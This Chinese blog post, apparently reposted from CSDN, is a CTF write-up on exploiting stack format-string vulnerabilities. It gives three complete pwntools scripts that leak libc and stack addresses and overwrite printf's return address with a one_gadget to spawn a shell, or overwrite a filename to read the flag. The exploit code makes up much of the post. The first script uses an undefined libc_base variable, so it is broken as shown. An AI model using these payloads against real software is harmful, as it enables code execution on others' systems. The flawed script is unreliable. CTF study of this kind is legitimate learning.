关于在栈上格式化字符串漏洞的利用方法

最近做了两个栈上的格式化字符串漏洞题目,发现了一个几乎能任意做此类型题目的方法
就以下面这两个例题来介绍一下这个方法
先说一下这个思路吧,就是通过两次格式化字符串漏洞,第一次泄露libc_base,以及栈里面的一个地址(任意)第二次修改printf的返回地址为one_gadget去getshell

例题一

保护情况:
在这里插入图片描述

主函数:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到可以无限利用格式化字符串漏洞,但是又不会跳出这个循环,所以没法控制主函数的返回地址。
这个题有两种思路,第一种就是通过格式化字符串漏洞任意地址写,把 f 在bss段上的内容改成flag
第二种就是修改printf函数的返回地址为one_gad

这里详细说第二种方法
第一步
泄露libc_base
在这里插入图片描述
泄露__libc_start_main+243的地址再减去243。
然后再随便泄露个栈地址,找到printf的返回地址(进入到printf里就能找到了),以及该地址的栈地址(结尾为91a8的)用你泄露的栈地址让其两者相减,然后就能覆盖成one_gadget
在这里插入图片描述然后找个one_gadget

0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

用第二个
脚本如下:

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=process('./pwn')
elf=ELF("./pwn")
libc=ELF("libc-2.31.so")

def op(i):
	p.recvuntil("5. Exit\n-------------------------\n")
	p.sendline(str(i))
op(1)
op(3)
p.recvuntil("Please input your notes\n")
pay=b'%21$p'
#gdb.attach(p)
#pause()
p.sendline(pay)
p.recvuntil("Content:\n")

libcstart_addr=int(p.recv(14),16)
print(hex(libcstart_addr))

one_gad=libc_base+0xe3b01
print(hex(one_gad))

op(3)
p.recvuntil("Please input your notes\n")
pay=b'%18$p'
p.sendline(pay)
p.recvuntil("Content:\n")
stack=p.recv(14)
stack_addr=int(stack,16)
print(hex(stack_addr))
addr=stack_addr-0x100
ret_addr=stack_addr-0x60-8-0x100   #可以不断调试以找到正确的返回地址


op(3)
p.recvuntil("Please input your notes\n")
pay=fmtstr_payload(8, {
    
    ret_addr:one_gad},write_size='short') #单字节写入字节太大,所以用双字节写入,以满足小于0x50字节
p.sendline(pay)

p.interactive()

在这里插入图片描述
第二种方法

from pwn import *
io = process('./pwn2')

context(arch="amd64",os="linux")
context.log_level = "debug"

csu = 0xE70


def openfile():
    io.recvuntil("-------------------------\n")
    io.sendline(str(1))

def readfile():
    io.recvuntil("-------------------------\n")
    io.sendline(str(2))

def addnotes(notes):
    io.recvuntil("-------------------------\n")
    io.sendline(str(3))
    io.recvuntil("Please input your notes\n")
    io.sendline(notes)
    io.recvuntil("Content:\n",drop=True)

def closefile():
    io.recvuntil("-------------------------\n")
    io.sendline(str(4))

def pwn():
    openfile()
    addnotes(b'%26$p')
    csu_addr = int(io.recvline(keepends=False),16)
    print(hex(csu_addr))
    pie = csu_addr - csu
    filename = pie + 0x0202070
    payload = fmtstr_payload(8,{
    
    filename:u32(b'flag')})
    addnotes(payload)
   
    closefile()
    openfile()
    io.recvuntil("You successfully opened the file.\n")
   
    readfile()
    #gdb.attach(io)
    #pause()
    print(io.recv())
    io.interactive()
   
    # io.recvuntil("-------------------------\n")
    # io.sendline(str(3))
    # io.recvuntil("Please input your notes\n")
    # payload = b'\x00'*10
    # gdb.attach(io)
    # pause()
    # io.sendline(payload)


pwn()   

在这里插入图片描述
直接读出flag了

例题二

程序比较简单
在这里插入图片描述
保护如下:
在这里插入图片描述

可以看到总共有四次格式化字符串漏洞,前两次是在栈上的格式化字符串漏洞
后两次是bss段上上的格式化字符串漏洞
那么就可以通过前两次格式化字符串漏洞,直接getshell和上题一样,(当然,也可以覆盖变量值,这里不过多说那个方法)

思路也是第一次泄露libc第二次修改printf的返回地址为one_gadget

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("81.68.77.181",5001)
p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("./libc-2.31.so")

p.recvuntil(b"hahah~\n")
pay=b'%19$p,%16$p'
#gdb.attach(p)
#pause()
p.sendline(pay)
#libc_base=u64(p.recv(6).ljust(8,b'\x00'))-243
libc_base=int(p.recv(14),16)-243-libc.sym['__libc_start_main']
p.recv(1)
stack=int(p.recv(14),16)-0x4e-0x10a
print(hex(libc_base))
print(hex(stack))
one_gad=libc_base+0xe3b01

p.recvuntil(b"hahah~\n")
pay=fmtstr_payload(8, {
    
    stack:one_gad},write_size='short')
p.send(pay)

p.interactive()

在这里插入图片描述

扫描二维码关注公众号,回复: 15187312 查看本文章

在这里插入图片描述
使用条件大概就是
1.能执行两次格式化字符串漏洞
2.能读入的字节不少于0x40字节

猜你喜欢

转载自blog.csdn.net/cainiao78777/article/details/129565364